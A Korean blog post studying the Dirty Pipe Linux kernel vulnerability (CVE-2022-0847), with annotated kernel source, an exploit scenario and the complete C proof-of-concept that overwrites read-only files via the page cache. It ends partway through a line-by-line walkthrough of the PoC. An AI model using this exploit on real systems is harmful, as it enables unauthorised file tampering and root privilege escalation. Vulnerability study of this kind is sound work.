포스트

[CVE-2022-0847] Dirty Pipe 취약점 + 커널 코드 분석

CVE-2022-0847 CVE: Dirty Pipe 취약점 분석 및 실습

[CVE-2022-0847] Dirty Pipe 취약점 + 커널 코드 분석

1. 서론

1.1. 목적

알려진 취약점을 직접 분석해보고 익스플로잇하면서 취약점 분석 경험을 쌓기 위해서 진행한다.
취약점 제보 및 CVE 발급까지의 과정을 살펴보기 위해서 취약점을 발견한 과정과 제보 후 패치까지의 전 과정을 따라가본다.

그리고 본인은 페이지, 파이프 등 운영체제 지식이 거의 없기 때문에 CS도 같이 공부할 겸 커널 코드도 같이 분석하면서 진행해본다.
나도 언젠가 CVE를 손에 거머쥘 날이 오기를 고대하며 야망을 갖고 시작한다.

1.1. 개요

CVE-2022-0847, 일명 Dirty Pipe 취약점을 분석한다.
취약점 발생 원인과 함께 커널 코드를 분석하고, PoC 실습을 통해 익스플로잇까지 시도한다.

2. 취약점

2.1. 개요

2022년 3월 4일에 발표된 취약점이다. (CVE-2022-0847)

취약한 리눅스 커널 버전의 copy_page_to_iter_pipepush_pipe 함수에서 새 pipe_buffer 구조체의 flags 멤버 초기화가 제대로 이루어지지 않아 권한이 없는 로컬 사용자가 이를 이용해 읽기 전용 페이지 캐시의 페이지에 데이터를 덮어씌워 권한 상승까지도 할 수 있는 취약점이다.

2.2. 타임라인

  • 2021-04-29: 고객으로부터 파일 손상 관련 문의 첫 접수
  • 2022-02-19: 리눅스 커널 버그로 인한 문제로 판단 후 익스플로잇이 가능한 취약점임을 확인
  • 2022-02-20: 리눅스 커널 보안 팀에 버그 리포트, 익스플로잇, 패치 전달
  • 2022-02-21: Google Pixel 6에서 버그 재현, 안드로이트 보안 팀에 버그 리포트 전달
  • 2022-02-21: LKML에 패치 전달 (취약점 상세 제외)
  • 2022-02-23: 해당 취약점 패치된 리눅스 스테이블 버전 출시 (5.16.11, 5.15.25, 5.10.102)
  • 2022-02-24: Google 안드로이드 커널에 버그 패치
  • 2022-02-28: linux-distros mailing list에 알림
  • 2022-03-07: CVE-2022-0847 취약점 공개

자세히 보기

2.3. 영향도

CVSS 점수는 7.8(high)로 평가되었다.
리눅스 커널 5.8 이후 버전부터 5.16.11, 5.15.25 그리고 5.10.102 이전 버전에서 발생한다.

쓰기 권한 없이도 파일의 페이지 캐시를 덮어씌워 시스템 동작을 변경하거나 로그 파일을 조작할 수 있다.
사용자 계정 및 권한 파일을 변조하여 일반 사용자 계정에서 루트 계정까지 권한 상승이 가능하기에 위험도가 높은 취약점이다.

3. 배경지식

3.1. 페이지 (Page)

운영체제가 메모리를 관리할 때 사용하는 고정 크기의 블록을 페이지(Page)라고 한다.
대부분의 x86-64 리눅스에서는 보통 4Kb 크기를 사용한다.

작은 고정 단위로 메모리를 관리함으로서 효율적인 메모리 할당 및 해제가 가능하고, 가상 메모리를 물리 메모리에 매핑하기 쉽게 해준다.


  • 페이지(Page): 프로세스의 가상 주소 공간 단위
  • 페이지 프레임(Page Frame): 실제 물리 메모리의 해당 블록
  • MMU(Memory Management Unit)가 페이지 테이블을 통해 페이지와 페이지 프레임을 연결한다.



각 페이지는 커널에서 다음과 같은 속성을 가진다,

속성의미
Present물리 메로리에 존재 여부
Read/Write쓰기 가능 여부
User/Supervisor유저 모드 접근 가능 여부
NX실행 가능 여부
Dirty수정된 적 있는지 (디스크 반영 필요 여부)
Accessed최근 접근 여부



전체 코드
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
/*
 * Each physical page in the system has a struct page associated with
 * it to keep track of whatever it is we are using the page for at the
 * moment. Note that we have no way to track which tasks are using
 * a page, though if it is a pagecache page, rmap structures can tell us
 * who is mapping it.
 *
 * If you allocate the page using alloc_pages(), you can use some of the
 * space in struct page for your own purposes.  The five words in the main
 * union are available, except for bit 0 of the first word which must be
 * kept clear.  Many users use this word to store a pointer to an object
 * which is guaranteed to be aligned.  If you use the same storage as
 * page->mapping, you must restore it to NULL before freeing the page.
 *
 * If your page will not be mapped to userspace, you can also use the four
 * bytes in the mapcount union, but you must call page_mapcount_reset()
 * before freeing it.
 *
 * If you want to use the refcount field, it must be used in such a way
 * that other CPUs temporarily incrementing and then decrementing the
 * refcount does not cause problems.  On receiving the page from
 * alloc_pages(), the refcount will be positive.
 *
 * If you allocate pages of order > 0, you can use some of the fields
 * in each subpage, but you may need to restore some of their values
 * afterwards.
 *
 * SLUB uses cmpxchg_double() to atomically update its freelist and
 * counters.  That requires that freelist & counters be adjacent and
 * double-word aligned.  We align all struct pages to double-word
 * boundaries, and ensure that 'freelist' is aligned within the
 * struct.
 */
#ifdef CONFIG_HAVE_ALIGNED_STRUCT_PAGE
#define _struct_page_alignment	__aligned(2 * sizeof(unsigned long))
#else
#define _struct_page_alignment
#endif

struct page {
	unsigned long flags;		/* Atomic flags, some possibly
					 * updated asynchronously */
	/*
	 * Five words (20/40 bytes) are available in this union.
	 * WARNING: bit 0 of the first word is used for PageTail(). That
	 * means the other users of this union MUST NOT use the bit to
	 * avoid collision and false-positive PageTail().
	 */
	union {
		struct {	/* Page cache and anonymous pages */
			/**
			 * @lru: Pageout list, eg. active_list protected by
			 * pgdat->lru_lock.  Sometimes used as a generic list
			 * by the page owner.
			 */
			struct list_head lru;
			/* See page-flags.h for PAGE_MAPPING_FLAGS */
			struct address_space *mapping;
			pgoff_t index;		/* Our offset within mapping. */
			/**
			 * @private: Mapping-private opaque data.
			 * Usually used for buffer_heads if PagePrivate.
			 * Used for swp_entry_t if PageSwapCache.
			 * Indicates order in the buddy system if PageBuddy.
			 */
			unsigned long private;
		};
		struct {	/* page_pool used by netstack */
			/**
			 * @dma_addr: might require a 64-bit value even on
			 * 32-bit architectures.
			 */
			dma_addr_t dma_addr;
		};
		struct {	/* slab, slob and slub */
			union {
				struct list_head slab_list;
				struct {	/* Partial pages */
					struct page *next;
#ifdef CONFIG_64BIT
					int pages;	/* Nr of pages left */
					int pobjects;	/* Approximate count */
#else
					short int pages;
					short int pobjects;
#endif
				};
			};
			struct kmem_cache *slab_cache; /* not slob */
			/* Double-word boundary */
			void *freelist;		/* first free object */
			union {
				void *s_mem;	/* slab: first object */
				unsigned long counters;		/* SLUB */
				struct {			/* SLUB */
					unsigned inuse:16;
					unsigned objects:15;
					unsigned frozen:1;
				};
			};
		};
		struct {	/* Tail pages of compound page */
			unsigned long compound_head;	/* Bit zero is set */

			/* First tail page only */
			unsigned char compound_dtor;
			unsigned char compound_order;
			atomic_t compound_mapcount;
		};
		struct {	/* Second tail page of compound page */
			unsigned long _compound_pad_1;	/* compound_head */
			atomic_t hpage_pinned_refcount;
			/* For both global and memcg */
			struct list_head deferred_list;
		};
		struct {	/* Page table pages */
			unsigned long _pt_pad_1;	/* compound_head */
			pgtable_t pmd_huge_pte; /* protected by page->ptl */
			unsigned long _pt_pad_2;	/* mapping */
			union {
				struct mm_struct *pt_mm; /* x86 pgds only */
				atomic_t pt_frag_refcount; /* powerpc */
			};
#if ALLOC_SPLIT_PTLOCKS
			spinlock_t *ptl;
#else
			spinlock_t ptl;
#endif
		};
		struct {	/* ZONE_DEVICE pages */
			/** @pgmap: Points to the hosting device page map. */
			struct dev_pagemap *pgmap;
			void *zone_device_data;
			/*
			 * ZONE_DEVICE private pages are counted as being
			 * mapped so the next 3 words hold the mapping, index,
			 * and private fields from the source anonymous or
			 * page cache page while the page is migrated to device
			 * private memory.
			 * ZONE_DEVICE MEMORY_DEVICE_FS_DAX pages also
			 * use the mapping, index, and private fields when
			 * pmem backed DAX files are mapped.
			 */
		};

		/** @rcu_head: You can use this to free a page by RCU. */
		struct rcu_head rcu_head;
	};

	union {		/* This union is 4 bytes in size. */
		/*
		 * If the page can be mapped to userspace, encodes the number
		 * of times this page is referenced by a page table.
		 */
		atomic_t _mapcount;

		/*
		 * If the page is neither PageSlab nor mappable to userspace,
		 * the value stored here may help determine what this page
		 * is used for.  See page-flags.h for a list of page types
		 * which are currently stored here.
		 */
		unsigned int page_type;

		unsigned int active;		/* SLAB */
		int units;			/* SLOB */
	};

	/* Usage count. *DO NOT USE DIRECTLY*. See page_ref.h */
	atomic_t _refcount;

#ifdef CONFIG_MEMCG
	struct mem_cgroup *mem_cgroup;
#endif

	/*
	 * On machines where all RAM is mapped into kernel address space,
	 * we can simply calculate the virtual address. On machines with
	 * highmem some memory is mapped into kernel virtual memory
	 * dynamically, so we need a place to store that address.
	 * Note that this field could be 16 bits on x86 ... ;)
	 *
	 * Architectures with slow multiplication can define
	 * WANT_PAGE_VIRTUAL in asm/page.h
	 */
#if defined(WANT_PAGE_VIRTUAL)
	void *virtual;			/* Kernel virtual address (NULL if
					   not kmapped, ie. highmem) */
#endif /* WANT_PAGE_VIRTUAL */

#ifdef LAST_CPUPID_NOT_IN_PAGE_FLAGS
	int _last_cpupid;
#endif
} _struct_page_alignment;


시스템의 각 물리 페이지(physical page)는 각각에 대응하는 struct page가 존재한다.
이 구조체를 사용해 해당 페이지가 현재 어떤 용도로 사용 중인지를 추적할 수 있다.

어떤 tasks(프로세스)가 해당 페이지를 사용하고 있는지 직접 추적할 수는 없지만 해당 페이지가 페이지 캐시 페이지(pagecache page)라면 rmap(reverse mapping) 구조를 통해 해당 페이지를 매핑한 tasks를 알 수 있다.

만약 alloc_pages()를 사용하여 페이지를 할당하면 struct page의 일부 공간을 특정한 목적으로 사용할 수 있다.
main union 영역의 5 words 크기만큼을 사용할 수 있지만 첫 워드의 비트 0은 반드시 유지해야 한다.
많은 커널 코드들이 이 공간에 정렬이 보장된 객체 포인터를 저장하기 때문이다.
만약 같은 공간을 page->mapping으로 사용한다면 페이지를 해제하기 전 반드시 NULL로 되돌려놓아야 한다.

유저 공간에 매핑되지 않는 페이지일 경우 mapcount union의 4바이트도 사용할 수 있다.
하지만 이 경우, 해제하기 전 반드시 page_mapcount_reset()을 호출해야 한다.

refcount 필드를 사용할 경우 다른 CPU가 일시적으로 refcount를 늘리거나 줄여도 문제가 없도록 사용해야 한다.
alloc_pages()를 통해 받은 페이지는 refcount가 항상 양수이다.

order가 0보다 큰 페이지(여러 개의 연속 페이지) 를 할당하면 각 subpage의 필드 일부를 사용할 수 있지만 일부 값들은 사용 후에 다시 되돌려놓아야 할 수 있다.



1
2
3
4
5
#ifdef CONFIG_HAVE_ALIGNED_STRUCT_PAGE
#define _struct_page_alignment	__aligned(2 * sizeof(unsigned long))
#else
#define _struct_page_alignment
#endif
  1. CONFIG_HAVE_ALIGNED_STRUCT_PAGE
    커널 설정 옵션에 따라 struct page를 특정 크기 단위로 정렬할지 여부를 결정한다.
    만약 켜져 있다면 struct page를 double-word(두 개의 unsigned long) 경계에 맞춰 정렬한다.

    SLUBcmpxchg_double()을 사용해 freelistcounters를 원자적으로 업데이트한다.
    이 때문에 freelistcounters는 항상 인접해야 하고 double-word 정렬되어야 한다.
    커널은 모든 struct page를 double-word 경계에 맞춰 정렬하고 freelist 필드가 구조체 내에서 제대로 정렬되도록 보장한다.

  2. __aligned()
    GCC/Clang의 속성(attribute)으로, 구조체 또는 변수의 메모리 시작 주소를 지정된 바이트 단위로 맞춘다.
    여기서는 32비트 시스템이면 8바이트, 64비트 시스템이면 16바이트 정렬을 의미한다.

  3. else 분기
    커널 설정 옵션의 CONFIG_HAVE_ALIGNED_STRUCT_PAGE가 꺼져 있다면 정렬 속성을 따로 지정하지 않고 기본 구조체 정렬 규칙에 따라 struct page가 배치된다.



1
2
3
4
5
struct page {
	unsigned long flags;	/* Atomic flags, some possibly
                            * updated asynchronously */
    ...
} _struct_page_alignment;

페이지 상태를 나타내는 비트 플래그 집합을 사용해 페이지의 상태를 추적한다.
해당 페이지의 속성 및 상태를 나타낸다.

원자적으로 접근해야 하며 일부는 비동기적으로 다른 CPU 코어에서 갱신될 수 있다.

플래그
  • PG_locked: 페이지가 현재 락 상태인지
  • PG_error: I/O 에러 발생 여부
  • PG_uptodate: 페이지 캐시 내용이 최신인지
  • PG_dirty: 페이지가 디스크에 기록되지 않은 변경 사항을 가지고 있는지
  • PG_referenced: 최근에 참조되었는지
  • PG_writeback: 디스크 쓰기 작업이 진행 중인지
  • PG_lru: LRU 리스트에 속해 있는지
  • PG_active: 활성 LRU 리스트인지 여부
  • PG_slab: SLAB/SLUB 할당자에서 사용하는 페이지인지
  • PG_private: 파일 시스템/블록 계층이 private 데이터로 사용 중인지



3.1.1 페이지 캐시 (Page Cache)

디스크 I/O 성능 향상을 위해 파일 내용을 메모리 페이지에 캐싱하는 기능이다.

read() 함수는 디스크 대신 캐시된 페이지를 사용하며, write() 함수 또한 페이지 캐시에 기록 후 나중에 디스크에 반영한다.
Dirty Pipe 취약점은 이 페이지 캐시를 오염시켜 발생한다.

리눅스 시스템은 성능을 높이기 위해 한 번 읽은 파일 데이터를 페이지 캐시 메모리 영역에 올려 놓고 파일을 재호출할 때마다 참조한다.
시스템은 디스크 대신 페이지 캐시에 저장된 데이터를 참조하기 때문에 페이지 캐시를 변조하면 시스템이 변조된 페이지 캐시를 읽어 결국 변조된 데이터를 읽는 것과 같게 된다.

3.2. 파이프(Pipe)

한 방향으로만 데이터가 흐르는 프로세스 간 통신(IPC, Inter-Process Communication) 수단이다.
한쪽에서 데이터를 write 하면 반대쪽에서 read 할 수 있으며 메모리 버퍼를 통해 데이터를 전달한다.


  • 익명 파이프 (Anonymous Pipe)
    • 부모-자식 프로세스 간 통신
    • 파일 시스템에 이름이 없음
    • pipe(), pipe2() 시스템콜로 생성
  • 명명 파이프 (Named Pipe, FIFO)
    • 서로 관련 없는 프로세스 간 통신 가능
    • 파일 시스템에 경로 존재
    • mkfifo 명령 또는 mkfifo() 함수로 생성



1
echo "Hello World!" | wc -c

유저 레벨에서는 위 명령어 처럼 파이프를 사용할 수 있다.
echo 프로세스가 파이프에 문자열 “Hello World!”를 write하면 wc 프로세스가 같은 파이프에서 문자열을 read하여 글자 수를 출력한다.


파이프를 사용하면 일반적으로 익명 페이지가 사용된다.
이 페이지는 파이프가 소유하며 자유롭게 append가 가능하다.
(동일 페이지에 자유롭게 데이터를 이어서 쓸 수 있다)

splice()로 파일에서 파이프로 데이터를 전달하면 페이지 캐시를 참조한다.
해당 페이지는 파일 시스템이 소유하기에 절대 덮어쓰면 안 된다.
(spice()는 데이터를 zero-copy 전송한다)

4. 취약점 상세

4.1. 원리

1
2
3
4
5
buf->ops = &page_cache_pipe_buf_ops;
get_page(page);
buf->page = page;
buf->offset = offset;
buf->len = bytes;

파이프 기능에는 PIPE_BUF_FLAG_CAN_MERGE 플래그가 존재하는데 이는 다른 메모리 영역과 병합이 가능하도록 설정해준다.
하지만 파이프 버퍼를 초기화할 때 flags 멤버가 초기화되지 않아, 해당 파이프 버퍼를 재사용하면 임의의 값이 덮어씌워질 수 있는 취약점이다.

4.2. Root Cause 분석

개인적인 학습을 위해 불필요한 부분까지 조금 더 자세하게 기록한다.

4.3. splice() 시스템콜

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// /fs/splice.c

SYSCALL_DEFINE6(splice, int, fd_in, loff_t __user *, off_in,
		int, fd_out, loff_t __user *, off_out,
		size_t, len, unsigned int, flags)
{
	struct fd in, out;
	long error;

	if (unlikely(!len))
		return 0;

	if (unlikely(flags & ~SPLICE_F_ALL))
		return -EINVAL;

	error = -EBADF;
	in = fdget(fd_in);
	if (in.file) {
		out = fdget(fd_out);
		if (out.file) {
			error = do_splice(in.file, off_in, out.file, off_out,
					  len, flags);
			fdput(out);
		}
		fdput(in);
	}
	return error;
}

두 개의 파일 디스크립터 간 데이터를 직접 이동시키는 zero-copy 시스템콜이다.
대용량 I/O에서 복사 및 컨텍스트 스위칭 비용을 줄이기 위해 사용된다.

Zero Copy

데이터를 애플리케이션 버퍼로 복사하지 않고, 소켓 버퍼를 사용하여 커널에서 직접 전송하는 기법이다.
CPU를 사용하지 않고 메모리 대역폭 사용량을 줄여 데이터 전송 성능을 향상시킬 수 있다.


fd_in, fd_out 두 파일 디스크립터 중 하나는 반드시 파이프여야 한다.

off_in, off_out은 오프셋이다.
NULL이면 해당 파일의 위치(오프셋)인 f_pos를 사용하고 NULL이 아니면 해당 오프셋을 사용한다.
파이프에서는 오프셋을 사용할 수 없기 때문에 파이프 쪽은 항상 NULL이어야 한다.

len은 옮기려는 최대 바이트 수로 len을 조정하여 부분 전송이 가능하다.

splice() 시스템콜은 실제로 전송한 바이트 수를 반환하며 에러 발생 시 음수를 반환한다.


1
struct fd in, out;
1
2
3
4
5
6
// /include/linux/file.h

struct fd {
	struct file *file;
	unsigned int flags;
};

fd 구조체는 /include/linux/file.h에 정의되어 있다.

splice() 함수에서 in, out 이름을 가진 fd 구조체를 선언한다.


1
2
if (unlikely(!len))
    return 0;

len, 길이가 0이면 0을 반환하여 종료한다.


1
2
3
4
// /include/linux/compiler.h

# define likely(x)	__builtin_expect(!!(x), 1)
# define unlikely(x)	__builtin_expect(!!(x), 0)

최적화를 위한 매크로 함수로, 조건문이 true일 가능성이 높으면 likely()를 사용하고 false일 가능성이 높으면 unlikely()를 사용하여 컴파일러에게 알려 성능을 높인다.

자세히 보기


1
2
if (unlikely(flags & ~SPLICE_F_ALL))
    return -EINVAL;
1
2
3
4
5
6
7
8
9
10
11
12
13
// /include/linux/splice.h

/*
 * Flags passed in from splice/tee/vmsplice
 */
#define SPLICE_F_MOVE	(0x01)	/* move pages instead of copying */
#define SPLICE_F_NONBLOCK (0x02) /* don't block on the pipe splicing (but */
                                /* we may still block on the fd we splice */
                                /* from/to, of course */
#define SPLICE_F_MORE	(0x04)	/* expect more data */
#define SPLICE_F_GIFT	(0x08)	/* pages passed in are a gift */

#define SPLICE_F_ALL (SPLICE_F_MOVE|SPLICE_F_NONBLOCK|SPLICE_F_MORE|SPLICE_F_GIFT)

비트 플래그와 비트 연산을 통해 flags에 허용되지 않은 비트가 포함되어 있는지 검사하게 된다.

만약 허용되어 있지 않은 비트가 포함되어 있다면 EINVAL 에러 코드를 반환하는데 이는 유효하지 않은 인자를 의미한다.


1
in = fdget(fd_in);

인자로 받은 fd_in 파일 디스크립터(정수)를 fdget() 함수로 전달하여 반환값을 in 변수에 저장한다.

fdget() 함수는 정수로 된 파일 디스크립터를 struct file*로 해석해서 가져와 참조를 획득한다.


1
2
3
4
5
6
7
8
9
10
11
12
error = -EBADF;
...
if (in.file) {
		out = fdget(fd_out);
		if (out.file) {
			error = do_splice(in.file, off_in, out.file, off_out,
					  len, flags);
			fdput(out);
		}
		fdput(in);
	}
	return error;

fdget() 함수에서 참조를 획득하는 것을 실패한 경우 in.file을 받을 수 없기 때문에 EBADF 에러 코드를 반환한다.


in은 입력 파일 디스크립터, out은 출력 파일 디스크립터가 된다.

두 디스크립터 참조를 모두 획득하는 데 성공하면 do_splice()로 본격적인 splice를 시작한다.
이후에는fdput()으로 fdget()으로 얻었던 참조를 모두 해제한다.


4.3.1. do_splice() 함수

전체 코드
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
/*
 * Determine where to splice to/from.
 */
long do_splice(struct file *in, loff_t __user *off_in,
		struct file *out, loff_t __user *off_out,
		size_t len, unsigned int flags)
{
	struct pipe_inode_info *ipipe;
	struct pipe_inode_info *opipe;
	loff_t offset;
	long ret;

	if (unlikely(!(in->f_mode & FMODE_READ) ||
		     !(out->f_mode & FMODE_WRITE)))
		return -EBADF;

	ipipe = get_pipe_info(in, true);
	opipe = get_pipe_info(out, true);

	if (ipipe && opipe) {
		if (off_in || off_out)
			return -ESPIPE;

		/* Splicing to self would be fun, but... */
		if (ipipe == opipe)
			return -EINVAL;

		if ((in->f_flags | out->f_flags) & O_NONBLOCK)
			flags |= SPLICE_F_NONBLOCK;

		return splice_pipe_to_pipe(ipipe, opipe, len, flags);
	}

	if (ipipe) {
		if (off_in)
			return -ESPIPE;
		if (off_out) {
			if (!(out->f_mode & FMODE_PWRITE))
				return -EINVAL;
			if (copy_from_user(&offset, off_out, sizeof(loff_t)))
				return -EFAULT;
		} else {
			offset = out->f_pos;
		}

		if (unlikely(out->f_flags & O_APPEND))
			return -EINVAL;

		ret = rw_verify_area(WRITE, out, &offset, len);
		if (unlikely(ret < 0))
			return ret;

		if (in->f_flags & O_NONBLOCK)
			flags |= SPLICE_F_NONBLOCK;

		file_start_write(out);
		ret = do_splice_from(ipipe, out, &offset, len, flags);
		file_end_write(out);

		if (!off_out)
			out->f_pos = offset;
		else if (copy_to_user(off_out, &offset, sizeof(loff_t)))
			ret = -EFAULT;

		return ret;
	}

	if (opipe) {
		if (off_out)
			return -ESPIPE;
		if (off_in) {
			if (!(in->f_mode & FMODE_PREAD))
				return -EINVAL;
			if (copy_from_user(&offset, off_in, sizeof(loff_t)))
				return -EFAULT;
		} else {
			offset = in->f_pos;
		}

		if (out->f_flags & O_NONBLOCK)
			flags |= SPLICE_F_NONBLOCK;

		pipe_lock(opipe);
		ret = wait_for_space(opipe, flags);
		if (!ret) {
			unsigned int p_space;

			/* Don't try to read more the pipe has space for. */
			p_space = opipe->max_usage - pipe_occupancy(opipe->head, opipe->tail);
			len = min_t(size_t, len, p_space << PAGE_SHIFT);

			ret = do_splice_to(in, &offset, opipe, len, flags);
		}
		pipe_unlock(opipe);
		if (ret > 0)
			wakeup_pipe_readers(opipe);
		if (!off_in)
			in->f_pos = offset;
		else if (copy_to_user(off_in, &offset, sizeof(loff_t)))
			ret = -EFAULT;

		return ret;
	}

	return -EINVAL;
}

1
2
3
4
5
// /fs/splice.c

long do_splice(struct file *in, loff_t __user *off_in,
		struct file *out, loff_t __user *off_out,
		size_t len, unsigned int flags)

splice() 시스템콜과 마찬가지로 6개의 인수를 받는다.

5. 익스플로잇

5.1. Limitation

  1. 공격자는 읽기 권한을 가지고 있어야 한다.
    페이지에서 파이프로 splice()를 해야 하기 때문이다.

  2. 오프셋이 페이지 경계에 있으면 안 된다.
    적어도 페이지의 한 바이트는 파이프로 이어져야 하기 때문이다.

  3. 페이지 경계를 넘어서 데이터를 작성할 수는 없다.
    나머지 영역을 위해 새 익명 버퍼가 생성될 것이기 때문이다.

  4. 파일 크기는 변경될 수 없다.
    파이프는 자신만의 페이지 채우기 관리를 가지는데 추가될 데이터의 크기를 페이지 캐시에 알리지 않기 때문이다.

5.2. Exploit 시나리오

  1. 파이프를 생성한다.
  2. 파이프를 임의의 데이터로 채운다.
    모든 링 엔트리들에 PIPE_BUF_FLAG_CAN_MERGE 플래그를 설정하기 위해서이다.
  3. 파이프를 제거한다.
    pipe_inode_info 구조체의 모든 pipe_buffer 구조체 인스턴스에 플래그가 설정되어 있도록 한다.
  4. 대상 파일에서 파이프로 대상 오프셋 직전까지 데이터를 잇는다.
    이때 대상 파일은 읽기 전용으로 열린다.
  5. 파이프에 임의의 데이터를 쓴다.
    이 데이터는 PIPE_BUF_FLAG_CAN_MERGE 플래그가 설정되어 있기 때문에 pipe_buffer 익명 구조체를 새로 만들지 않고 캐시된 파일 페이지에 덮어씌워진다.

읽기 권한이 없는 경우 뿐만 아니라 불변 파일, 읽기 전용 btrfs 스냅샷, 읽기 전용 마운트들에서도 동작한다.
왜냐하면 커널에 의해 페이지 캐시는 항상 쓰기가 가능하고 파이프에 쓰는 것은 권한을 확인하지 않기 때문이다.

5.3. PoC 분석

전체 코드
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
	if (pipe(p)) abort();

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
	static char buffer[4096];

	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		write(p[1], buffer, n);
		r -= n;
	}

	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}

	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its "flags", the buffer
	   will be mergeable */
}

int main(int argc, char **argv)
{
	if (argc != 4) {
		fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
		return EXIT_FAILURE;
	}

	/* dumb command-line argument parser */
	const char *const path = argv[1];
	loff_t offset = strtoul(argv[2], NULL, 0);
	const char *const data = argv[3];
	const size_t data_size = strlen(data);

	if (offset % PAGE_SIZE == 0) {
		fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
		return EXIT_FAILURE;
	}

	const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
	const loff_t end_offset = offset + (loff_t)data_size;
	if (end_offset > next_page) {
		fprintf(stderr, "Sorry, cannot write across a page boundary\n");
		return EXIT_FAILURE;
	}

	/* open the input file and validate the specified offset */
	const int fd = open(path, O_RDONLY); // yes, read-only! :-)
	if (fd < 0) {
		perror("open failed");
		return EXIT_FAILURE;
	}

	struct stat st;
	if (fstat(fd, &st)) {
		perror("stat failed");
		return EXIT_FAILURE;
	}

	if (offset > st.st_size) {
		fprintf(stderr, "Offset is not inside the file\n");
		return EXIT_FAILURE;
	}

	if (end_offset > st.st_size) {
		fprintf(stderr, "Sorry, cannot enlarge the file\n");
		return EXIT_FAILURE;
	}

	/* create the pipe with all flags initialized with
	   PIPE_BUF_FLAG_CAN_MERGE */
	int p[2];
	prepare_pipe(p);

	/* splice one byte from before the specified offset into the
	   pipe; this will add a reference to the page cache, but
	   since copy_page_to_iter_pipe() does not initialize the
	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
	--offset;
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
	if (nbytes < 0) {
		perror("splice failed");
		return EXIT_FAILURE;
	}
	if (nbytes == 0) {
		fprintf(stderr, "short splice\n");
		return EXIT_FAILURE;
	}

	/* the following write will not create a new pipe_buffer, but
	   will instead write into the page cache, because of the
	   PIPE_BUF_FLAG_CAN_MERGE flag */
	nbytes = write(p[1], data, data_size);
	if (nbytes < 0) {
		perror("write failed");
		return EXIT_FAILURE;
	}
	if ((size_t)nbytes < data_size) {
		fprintf(stderr, "short write\n");
		return EXIT_FAILURE;
	}

	printf("It worked!\n");
	return EXIT_SUCCESS;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
if (argc != 4) {
    fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
    return EXIT_FAILURE;
}

/* dumb command-line argument parser */
const char *const path = argv[1];
loff_t offset = strtoul(argv[2], NULL, 0);
const char *const data = argv[3];
const size_t data_size = strlen(data);

if (offset % PAGE_SIZE == 0) {
    fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
    return EXIT_FAILURE;
}

const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;
if (end_offset > next_page) {
    fprintf(stderr, "Sorry, cannot write across a page boundary\n");
    return EXIT_FAILURE;
}

/* open the input file and validate the specified offset */
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
    perror("open failed");
    return EXIT_FAILURE;
}

struct stat st;
if (fstat(fd, &st)) {
    perror("stat failed");
    return EXIT_FAILURE;
}

if (offset > st.st_size) {
    fprintf(stderr, "Offset is not inside the file\n");
    return EXIT_FAILURE;
}

if (end_offset > st.st_size) {
    fprintf(stderr, "Sorry, cannot enlarge the file\n");
    return EXIT_FAILURE;
}

인자는 총 3개를 받는다.
임의의 데이터를 덮어씌울 파일 경로, 오프셋, 덮어씌울 데이터를 인자로 받는다.

오프셋은 페이지 경계가 될 수 없고 페이지 경계를 넘어서 데이터를 덮어씌울 수는 없다.
